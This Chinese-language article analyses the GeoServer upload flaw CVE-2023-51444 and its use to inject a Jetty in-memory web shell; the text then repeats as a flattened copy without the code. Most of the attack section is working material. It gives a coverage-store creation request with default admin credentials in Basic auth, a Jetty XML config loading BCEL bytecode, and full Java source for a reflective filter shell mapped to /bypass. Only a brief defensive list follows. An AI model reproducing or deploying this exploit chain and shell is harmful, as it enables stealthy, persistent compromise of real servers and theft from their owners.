CVE-2023-51444-漏洞剖析到内存马注入
字数 1350 2025-08-25 22:59:20

CVE-2023-51444漏洞分析与内存马注入技术详解

1. 漏洞概述

CVE-2023-51444是GeoServer中存在的一个文件上传漏洞,允许攻击者通过REST API实现跨目录文件上传,最终可能导致远程代码执行。该漏洞影响GeoServer 2.19.1及更早版本。

2. 漏洞利用分析

2.1 漏洞利用流程

漏洞利用分为两个主要步骤:

  1. 通过REST接口新建mosaic类型的coveragestore空间
  2. 通过REST访问新建的coveragestore空间实现跨目录文件上传

2.2 详细利用步骤

第一步:创建mosaic类型的coveragestore

通过GeoServer的RESTful API可以创建数据存储空间。关键API端点:

POST /rest/workspaces/{workspaceName}/coveragestores

请求示例:

POST /geoserver/rest/workspaces/sde/coveragestores HTTP/1.1
Host: 192.168.1.4:18080
User-Agent: Mozilla/5.0
Authorization: Basic YWRtaW46Z2Vvc2VydmVy
Content-Type: application/xml
Content-Length: 265

<coverageStore>
  <name>bypass</name>
  <description>111</description>
  <type>ImageMosaic</type>
  <enabled>true</enabled>
  <workspace><name>sde</name></workspace>
  <__default>false</__default>
  <url>file:coverages/mosaic_sample</url>
</coverageStore>

关键点:

  • 必须使用ImageMosaic类型
  • url参数指定了文件存储路径
  • 需要有效的认证凭据

第二步:文件上传

上传文件的关键API端点:

POST /rest/workspaces/{workspaceName}/coveragestores/{storeName}/file.{extension}

上传逻辑位于org.geoserver.rest.catalog.CoverageStoreFileController#coverageStorePost方法中。

关键绕过点:

  • 需要控制createRoot的path参数为绝对路径
  • 通过第一步创建store时设置的url参数可以指定绝对路径
  • 上传的文件路径为url参数+filename参数

3. 武器化利用

3.1 内存马注入技术

当环境中缺少JSP解析依赖时,可以利用Jetty的XML配置文件解析来注入内存马。

3.1.1 JDK < 8u251的利用

利用BCEL的ClassLoader加载任意字节码:

<?xml version="1.0"?>
<!DOCTYPE Configure PUBLIC "-//Jetty//Configure//EN" "http://www.eclipse.org/jetty/configure_9_3.dtd">
<Configure id="abc" class="org.eclipse.jetty.webapp.WebAppContext">
  <New id="cl" class="com.sun.org.apache.bcel.internal.util.ClassLoader">
    <Call name="loadClass">
      <Arg>
$$
BCEL
$$
xxx</Arg>
      <Call name="newInstance"></Call>
    </Call>
  </New>
</Configure>

3.1.2 内存马实现关键点

  1. 类加载问题

    • 由于双亲委派机制,BCEL的ClassLoader无法直接使用servlet-api相关类
    • 需要使用WebAppClassLoader来加载相关类
  2. 反射实现

    • 所有servlet-api相关操作都必须通过反射实现
    • 需要动态获取WebAppClassLoader
  3. Filter内存马实现

    • 通过反射获取WebAppContext和ServletHandler
    • 动态创建FilterHolder和FilterMapping
    • 设置路径映射和DispatcherType

3.2 完整内存马实现代码

package com.bypass;

import sun.misc.BASE64Decoder;
import java.lang.reflect.*;
import java.util.*;

public class xxx {
    private static synchronized Object getField(Object o, String k) throws Exception {
        Field f;
        try {
            f = o.getClass().getDeclaredField(k);
        } catch (NoSuchFieldException e) {
            try {
                f = o.getClass().getSuperclass().getDeclaredField(k);
            } catch (Exception e1){
                f = o.getClass().getSuperclass().getSuperclass().getDeclaredField(k);
            }
        }
        f.setAccessible(true);
        return f.get(o);
    }
    
    static {
        try {
            String filterName = "com.bypass.xxx";
            String urlPatter = "/bypass";
            
            Method threadMethod = Class.forName("java.lang.Thread").getDeclaredMethod("getThreads");
            threadMethod.setAccessible(true);
            Thread[] threads = (Thread[]) threadMethod.invoke(null);
            
            java.lang.ClassLoader threadClassloader = null;
            for (Thread thread : threads){
                threadClassloader = thread.getContextClassLoader();
                if (threadClassloader != null){
                    if (threadClassloader.toString().contains("WebAppClassLoader")){
                        Object webAppContext = getField(threadClassloader, "_context");
                        Object servletHandler = getField(webAppContext, "_servletHandler");
                        Object[] filters = (Object[]) getField(servletHandler, "_filters");
                        
                        Boolean flag = false;
                        for (Object f : filters){
                            Field fieldFilerName = f.getClass().getSuperclass().getDeclaredField("_name");
                            fieldFilerName.setAccessible(true);
                            String name = (String) fieldFilerName.get(f);
                            System.out.println(name);
                            if (name.equals(filterName)){
                                flag = true;
                                break;
                            }
                        }
                        
                        if (flag){
                            System.out.println("[+] exist filter!! " + filterName);
                            break;
                        }
                        
                        System.out.println("[+] Add Filter: " + filterName);
                        System.out.println("[+] urlPattern: " + urlPatter);
                        
                        threadClassloader.loadClass("javax.servlet.Filter");
                        threadClassloader.loadClass("javax.servlet.ServletRequest");
                        threadClassloader.loadClass("javax.servlet.ServletResponse");
                        threadClassloader.loadClass("javax.servlet.FilterChain");
                        threadClassloader.loadClass("javax.servlet.FilterConfig");
                        threadClassloader.loadClass("javax.servlet.http.HttpServletRequest");
                        threadClassloader.loadClass("javax.servlet.http.HttpServletResponse");
                        threadClassloader.loadClass("javax.servlet.http.HttpServletRequest");
                        threadClassloader.loadClass("javax.servlet.http.HttpSession");
                        System.out.println("[+] end javax!");
                        
                        Method a = ClassLoader.class.getDeclaredMethod("defineClass", byte[].class, Integer.TYPE, Integer.TYPE);
                        a.setAccessible(true);
                        String clasz = "base64编码";
                        byte[] b = (new BASE64Decoder()).decodeBuffer(clasz);
                        
                        System.out.println("[+] " + threadClassloader);
                        System.out.println("[+] start load Filter!");
                        a.invoke(threadClassloader, b, 0, b.length);
                        System.out.println("[+]defineClass加载成功! ");
                        
                        System.out.println("[+] start get Filter!");
                        Class<?> hFilterClass = threadClassloader.loadClass("com.bypass.TestFilter");
                        System.out.println("[+] " + hFilterClass);
                        System.out.println("[+] end load Filter!");
                        
                        Object HFilter = hFilterClass.newInstance();
                        System.out.println("[+] 获取HFilter! " + hFilterClass.newInstance());
                        System.out.println("[+] " + servletHandler.getClass());
                        
                        //反射获取JAVA_API
                        Class sourceClazz = servletHandler.getClass().getClassLoader().loadClass("org.eclipse.jetty.servlet.Source");
                        Field API = sourceClazz.getDeclaredField("JAVAX_API");
                        Method newFilterHolder = servletHandler.getClass().getMethod("newFilterHolder", sourceClazz);
                        Object holder = newFilterHolder.invoke(servletHandler, API.get(null));
                        System.out.println("[+] 获取FilterHolder " + holder.getClass());
                        
                        //setName、setFilter、addFilter
                        holder.getClass().getMethod("setName", String.class).invoke(holder, filterName);
                        holder.getClass().getMethod("setFilter", HFilter.getClass().getInterfaces()[0]).invoke(holder, HFilter);
                        servletHandler.getClass().getMethod("addFilter", holder.getClass()).invoke(servletHandler, holder);
                        
                        //FilterMapping
                        Class FilterMappingClz = servletHandler.getClass().getClassLoader().loadClass("org.eclipse.jetty.servlet.FilterMapping");
                        Object FilterMapping = FilterMappingClz.newInstance();
                        Method setFilterHolder = FilterMapping.getClass().getDeclaredMethod("setFilterHolder", holder.getClass());
                        setFilterHolder.setAccessible(true);
                        setFilterHolder.invoke(FilterMapping, holder);
                        FilterMapping.getClass().getMethod("setPathSpecs", String[].class).invoke(FilterMapping, new Object[]{new String[]{urlPatter}});
                        
                        //获取DispatcherType.REQUEST
                        Class Dis = threadClassloader.loadClass("javax.servlet.DispatcherType");
                        Object request = Dis.getDeclaredField("REQUEST").get(null);
                        System.out.println("[+] 获取DispatcherType " + request);
                        
                        //转换枚举常量
                        System.out.println("[+] 获取DispatcherType枚举常量 " + EnumSet.of(Enum.valueOf(Dis, "REQUEST")));
                        FilterMapping.getClass().getMethod("setDispatcherTypes", EnumSet.class).invoke(FilterMapping, EnumSet.of(Enum.valueOf(Dis, "REQUEST")));
                        
                        servletHandler.getClass().getMethod("prependFilterMapping", FilterMapping.getClass()).invoke(servletHandler, FilterMapping);
                        System.out.println("[+] FilterMapping! " + FilterMapping);
                        System.out.println("success!");
                        break;
                    }
                }
            }
        } catch (Exception exception){}
    }
}

4. 高版本JDK的应对方案

对于JDK 8u251及更高版本(包括JDK 17/21):

  1. BCEL ClassLoader已被移除,需要寻找替代方案
  2. 可以考虑使用ASM或其他字节码操作库
  3. 利用JNDI注入或其他内存马注入技术
  4. 参考公开的高版本JDK内存马实现方案

5. 防御建议

  1. 及时升级GeoServer到最新版本
  2. 限制GeoServer管理界面的访问权限
  3. 使用强密码或双因素认证
  4. 监控异常文件上传行为
  5. 定期检查服务器上的可疑文件
  6. 对于生产环境,考虑禁用不必要的REST API功能

6. 总结

CVE-2023-51444漏洞通过GeoServer的REST API实现了文件上传和目录穿越,结合Jetty的XML配置解析特性,可以实现内存马的注入。这种攻击方式不依赖文件落地,具有较高的隐蔽性。防御方需要全面了解攻击原理,才能有效防护此类高级威胁。

CVE-2023-51444漏洞分析与内存马注入技术详解 1. 漏洞概述 CVE-2023-51444是GeoServer中存在的一个文件上传漏洞,允许攻击者通过REST API实现跨目录文件上传,最终可能导致远程代码执行。该漏洞影响GeoServer 2.19.1及更早版本。 2. 漏洞利用分析 2.1 漏洞利用流程 漏洞利用分为两个主要步骤: 通过REST接口新建mosaic类型的coveragestore空间 通过REST访问新建的coveragestore空间实现跨目录文件上传 2.2 详细利用步骤 第一步:创建mosaic类型的coveragestore 通过GeoServer的RESTful API可以创建数据存储空间。关键API端点: 请求示例: 关键点: 必须使用 ImageMosaic 类型 url 参数指定了文件存储路径 需要有效的认证凭据 第二步:文件上传 上传文件的关键API端点: 上传逻辑位于 org.geoserver.rest.catalog.CoverageStoreFileController#coverageStorePost 方法中。 关键绕过点: 需要控制 createRoot 的path参数为绝对路径 通过第一步创建store时设置的 url 参数可以指定绝对路径 上传的文件路径为 url参数+filename参数 3. 武器化利用 3.1 内存马注入技术 当环境中缺少JSP解析依赖时,可以利用Jetty的XML配置文件解析来注入内存马。 3.1.1 JDK < 8u251的利用 利用BCEL的ClassLoader加载任意字节码: 3.1.2 内存马实现关键点 类加载问题 : 由于双亲委派机制,BCEL的ClassLoader无法直接使用servlet-api相关类 需要使用WebAppClassLoader来加载相关类 反射实现 : 所有servlet-api相关操作都必须通过反射实现 需要动态获取WebAppClassLoader Filter内存马实现 : 通过反射获取WebAppContext和ServletHandler 动态创建FilterHolder和FilterMapping 设置路径映射和DispatcherType 3.2 完整内存马实现代码 4. 高版本JDK的应对方案 对于JDK 8u251及更高版本(包括JDK 17/21): BCEL ClassLoader已被移除,需要寻找替代方案 可以考虑使用ASM或其他字节码操作库 利用JNDI注入或其他内存马注入技术 参考公开的高版本JDK内存马实现方案 5. 防御建议 及时升级GeoServer到最新版本 限制GeoServer管理界面的访问权限 使用强密码或双因素认证 监控异常文件上传行为 定期检查服务器上的可疑文件 对于生产环境,考虑禁用不必要的REST API功能 6. 总结 CVE-2023-51444漏洞通过GeoServer的REST API实现了文件上传和目录穿越,结合Jetty的XML配置解析特性,可以实现内存马的注入。这种攻击方式不依赖文件落地,具有较高的隐蔽性。防御方需要全面了解攻击原理,才能有效防护此类高级威胁。